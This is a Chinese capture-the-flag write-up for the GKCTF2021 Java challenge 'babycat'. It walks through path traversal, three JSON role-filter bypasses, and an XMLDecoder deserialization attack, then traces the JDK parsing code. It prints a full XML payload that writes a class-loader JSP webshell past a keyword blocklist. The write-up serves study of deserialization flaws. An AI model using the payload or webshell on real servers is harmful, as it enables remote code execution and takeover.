0%

[GKCTF2021]babycat与XMLDecoder反序列化

[GKCTF2021]babycat与XMLDecoder反序列化

java题,有一个非预期版本和一个完全体,由于我垃圾的java基础和审计水平,并没有发现非预期写的垃圾代码,都是按完全体思路去做的

题解

注册登录两个路由,注册点了之后会有一个not allowed的烟雾弹,但是其实页面存在且有js提示。但是我直接抓了个登录的包然后改路由到register上成功注册了
登录进去之后有两个主要功能,一个上传一个下载,上传要求用户权限admin,而下载是个任意文件下载。一开始并没有意识到这个是java题,还在想是不是nodejs或者python,但是后来看那个默认的图片下载目录穿越了两层目录才下下来,越想越不对劲,感觉可能是java。开始乱按,对java的工作路径和目录结构不是很熟悉,但还是成功摸到../../WEB-INF/web.xml,看到了各个类的路径
依次根据各类路径下载class文件,丢到Intellij中反编译。

admin登录

成为admin的关键代码为这段

String var = req.getParameter("data").replaceAll(" ", "").replace("'", "\"");
Pattern pattern = Pattern.compile("\"role\":\"(.*?)\"");

for(Matcher matcher = pattern.matcher(var); matcher.find(); role = matcher.group()) {
}

Person person;
if (!StringUtils.isNullOrEmpty(role)) {
    var = var.replace(role, "\"role\":\"guest\"");
    person = (Person)gson.fromJson(var, Person.class);
} else {
    person = (Person)gson.fromJson(var, Person.class);
    person.setRole("guest");
}

先去除空格,再把单引号换成双引号,最后正则匹配role属性,并将匹配到的最后一个role属性替换成guest(我一开始还以为会替换所有),最后用json解析字符串产生person对象
有很多的绕过方式

  1. Unicode绕过,先整一个没用的role,json在存在多个相同键时最后一个会覆盖之前的值,且支持Unicode编码,"\u0072ole"/**/:"admin"即可
  2. 注释符绕过,json支持/**/注释符,在中间塞一个打断正则匹配"role"/**/:"admin"
  3. 无效属性绕过,因为只替换最后一个,所以在最后套一层没用的属性也可以过"rubish":{"role":"admin"}

文件上传

文件上传的话限制了后缀为String[] extWhiteList = new String[]{"jpg", "png", "gif", "bak", "properties", "xml", "html", "xhtml", "zip", "gz", "tar", "txt"};
同时限定了内容黑名单String[] blackList = new String[]{"Runtime", "exec", "ProcessBuilder", "jdbc", "autoCommit"};
成功抵达未知领域

看wp环节,这里提出在login中读取数据库配置文件是使用的xmldecoder类的readObject,读取的是System.getenv("CATALINA_HOME") + "/webapps/ROOT/WEB-INF/db/db.xml"),而这个操作是存在反序列化漏洞的,且文件上传的后缀中允许上传xml文件,我们可以通过上传文件覆盖db.xml来实现反序列化攻击。
这里的CATALINA_HOME这个环境变量可以通过读proc文件系统获取,但还需要绕过内容的黑名单进行命令执行,这里使用PrintWriter类写入shell以绕过
先放下payload,然后再细说各种原理

<?xml version="1.0" encoding="UTF-8"?>
<java version="1.8.0_192" class="java.beans.XMLDecoder">
<object class="java.io.PrintWriter">
<string>shell.jsp</string>
<void method="println">
<string>
<![CDATA[
<%!
    class U extends ClassLoader {
        U(ClassLoader c) {
            super(c);
        }
        public Class g(byte[] b) {
            return super.defineClass(b, 0, b.length);
        }
    }
 
    public byte[] base64Decode(String str) throws Exception {
        try {
            Class clazz = Class.forName("sun.misc.BASE64Decoder");
            return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
        } catch (Exception e) {
            Class clazz = Class.forName("java.util.Base64");
            Object decoder = clazz.getMethod("getDecoder").invoke(null);
            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
        }
    }
%>
<%
    String cls = request.getParameter("passwd");
    if (cls != null) {
        new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
    }
%>
]]>
</string>
</void>
<void method="close">
</void>
</object>
</java>

这里直接传一个蚁剑的jsp shell上去,可以直接绕过黑名单过滤,也可以用Unicode编码绕过
这里的CDATA是XML的一个标记,表示其中的内容不进行处理,防止尖括号等字符被错误解析

Unicode绕过原理

java是能解析Unicode的,比如"\u0072"=="r"的结果是true,既然如此,输入的内容本身能被解析时,就不应该能绕过检测,因为这个字符会被等价替换成对应的字符,这里既能用Unicode绕过json,又能用Unicode绕过黑名单写入shell,必然有他的原理

显然,用户输入一个\u0072时,在后端接受到的应该是\\u0072,这里的斜杠应该是认为被转义了的,既然如此,那么java本身就不会直接去解析这个Unicode编码,而是其之后的操作再次解析Unicode编码,才使得内容能既绕过检测,又成功解析。
绕过注册,是因为json在解析时同样接受Unicode,java接收到\\u0072后,认为斜杠被转义,未直接将其解析为r,但在json库解析时即认为传入的字符串为\u0072,再次解析,成为字符r
绕过上传也是类似的原理,上传时斜线被转义,未解析,但其在写入的xml文件中已经是\u0072这种类型的格式,再触发PrintWriter执行时,再以Unicode格式解析,在写入时已经是写入的正常字符
说到底也就是那种先检测再简析的经典漏洞代码类型

PS:虽然java部署APP的时候有很多奇怪的属性要靠xml来配置,但是jsp似乎只要传上去加能访问就能直接跑起来,所以传jsp shell效果和php一句话是差不多的

非预期解

垃圾的我专注于绕过根本没有注意到出题人写的其实是垃圾代码。。。
出题人在upload的GET方法中进行了身份校验,但POST方法并没有,因此不需要伪造admin身份直接POST传文件就能传
然后在upload的文件检测中虽然进行了内容过滤,但过滤之后只是给出了一个错误提示,并没有让函数退出。。。所以后面的上传代码会继续执行,也就是说,这个题目只要直接往upload路由传一个jsp shell就能全部打通。。。

XMLDecoder反序列化

这个是全新内容,临时进行了学习。
XMLDecoder可以从一个xml文档中还原出对象来,而在换源出对象的过程中只要我们精心构造,就能进行命令执行。

跟着网上的文章简单的跟了一下执行的过程,主要看两个函数startElementendElement
startElement会将当前element的handler的parent指向上一层element的handler,并检查当前标签有无属性,若存在属性则根据属性的键将属性的值赋值到当前element对象的不同字段上。
endElement则主要调用getValueObject函数,根据对象类型的不同调用的getValueObject函数会有所差异

简单讲一下上面这个xml在运行时的逻辑,跳过java标签的解析
首先进入Object标签的startElement,创建一个handler,由于该标签存在一个名为class的属性,先进this.handler.addAttribute(name, value);,找不到name对应的值,进super.addAttribute(name, value);,将该element的type赋值为对应的class

// DocumentHandler.java
    public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXException {
        ElementHandler parent = this.handler;
        try {
            this.handler = getElementHandler(qName).newInstance();
            this.handler.setOwner(this);
            this.handler.setParent(parent);
        }
        catch (Exception exception) {
            throw new SAXException(exception);
        }
        for (int i = 0; i < attributes.getLength(); i++)
            try {
                String name = attributes.getQName(i);
                String value = attributes.getValue(i);
                this.handler.addAttribute(name, value);
            }
            catch (RuntimeException exception) {
                handleException(exception);
            }

        this.handler.startElement();
    }
    public final void addAttribute(String name, String value) {
        if (name.equals("idref")) { // NON-NLS: the attribute name
            this.idref = value;
        } else if (name.equals("field")) { // NON-NLS: the attribute name
            this.field = value;
        } else if (name.equals("index")) { // NON-NLS: the attribute name
            this.index = Integer.valueOf(value);
            addArgument(this.index); // hack for compatibility
        } else if (name.equals("property")) { // NON-NLS: the attribute name
            this.property = value;
        } else if (name.equals("method")) { // NON-NLS: the attribute name
            this.method = value;
        } else {
            super.addAttribute(name, value);
        }
    }
    public void addAttribute(String name, String value) {
        if (name.equals("class")) { // NON-NLS: the attribute name
            this.type = getOwner().findClass(value);
        } else {
            super.addAttribute(name, value);
        }
    }

接下来进入string标签的startElement,函数上同。
解析到</string>,表示string标签结束,进入endElement函数,进入到StringElementHandler的getValueObject,获取到string标签中的值shell.jsp,在getValueObject中实例化为字符串,然后在endElement中添加到父handler的argument属性中

// ElementHandler.java
    public void endElement() {
        // do nothing if no value returned
        ValueObject value = getValueObject();
        if (!value.isVoid()) {
            if (this.id != null) {
                this.owner.setVariable(this.id, value.getValue());
            }
            if (isArgument()) {
                if (this.parent != null) {
                    this.parent.addArgument(value.getValue());
                } else {
                    this.owner.addObject(value.getValue());
                }
            }
        }
    }
// StringElementHandler.java
    protected final ValueObject getValueObject() {
        if (this.sb != null) {
            try {
                this.value = ValueObjectImpl.create(getValue(this.sb.toString()));
            }
            catch (RuntimeException exception) {
                getOwner().handleException(exception);
            }
            finally {
                this.sb = null;
            }
        }
        return this.value;
    }

进入void标签的startElement,该标签存在一个属性method,将其值赋值到当前element的对应属性上
处理下一个string标签,和之前的处理相同,给void标签的element添加了一个argument属性
由于抵达</void>,进入void标签的endElement,将之前的args传入作为参数,在getContextBean中会调用parent的getContextBean,最后会进入一个无参getValueObject,其中以element的type和args为参数返回了实例化的一个类对象,先是返回一个type为class,args为PrintWriter的class对象,再以type为PrintWriter,args为shell.jsp创建一个PrintWriter对象,最终创建expression对象进行反射调用(expression对象是反射的一种封装)

    protected final ValueObject getValueObject(Class<?> type, Object[] args) throws Exception {
        if (this.field != null) {
            return ValueObjectImpl.create(FieldElementHandler.getFieldValue(getContextBean(), this.field));
        }
        if (this.idref != null) {
            return ValueObjectImpl.create(getVariable(this.idref));
        }
        Object bean = getContextBean();
        String name;
        if (this.index != null) {
            name = (args.length == 2)
                    ? PropertyElementHandler.SETTER
                    : PropertyElementHandler.GETTER;
        } else if (this.property != null) {
            name = (args.length == 1)
                    ? PropertyElementHandler.SETTER
                    : PropertyElementHandler.GETTER;

            if (0 < this.property.length()) {
                name += this.property.substring(0, 1).toUpperCase(ENGLISH) + this.property.substring(1);
            }
        } else {
            name = (this.method != null) && (0 < this.method.length())
                    ? this.method
                    : "new"; // NON-NLS: the constructor marker
        }
        Expression expression = new Expression(bean, name, args);
        return ValueObjectImpl.create(expression.getValue());
    }
    protected final ValueObject getValueObject() {
        if (this.arguments != null) {
            try {
                this.value = getValueObject(this.type, this.arguments.toArray());
            }
            catch (Exception exception) {
                getOwner().handleException(exception);
            }
            finally {
                this.arguments = null;
            }
        }
        return this.value;
    }

第二次进入void标签并退出时,基础操作均同上,但这里由于之前已经实例化了PrintWriter对象,并把值赋到了value上,且清空了arguments,所以这里直接通过value获取到了之前的PrintWriter对象

反射不能

这里本来想着能不能直接写一个反射进行命令执行,但跟了一下之后发现,这里并不能存储变量,反射取得的返回值并不能保存下来进行传递,那么不保存中间变量的话,想反射执行命令大概得是这个样子的Class.forName("java.lang.ProcessBuilder").getMethod("start").invoke(clazz.getConstructor(List.class).newInstance(Arrays.asList("calc.exe")))
就目前看来XMLDecoder一个标签一个标签的解析,每次就能对一个对象调用一个方法,拿不到返回值就是没戏啦

参考链接

【WP】GKCTF2021 By EDI战队
XMLDecoder解析流程分析
Java XMLDecoder反序列化分析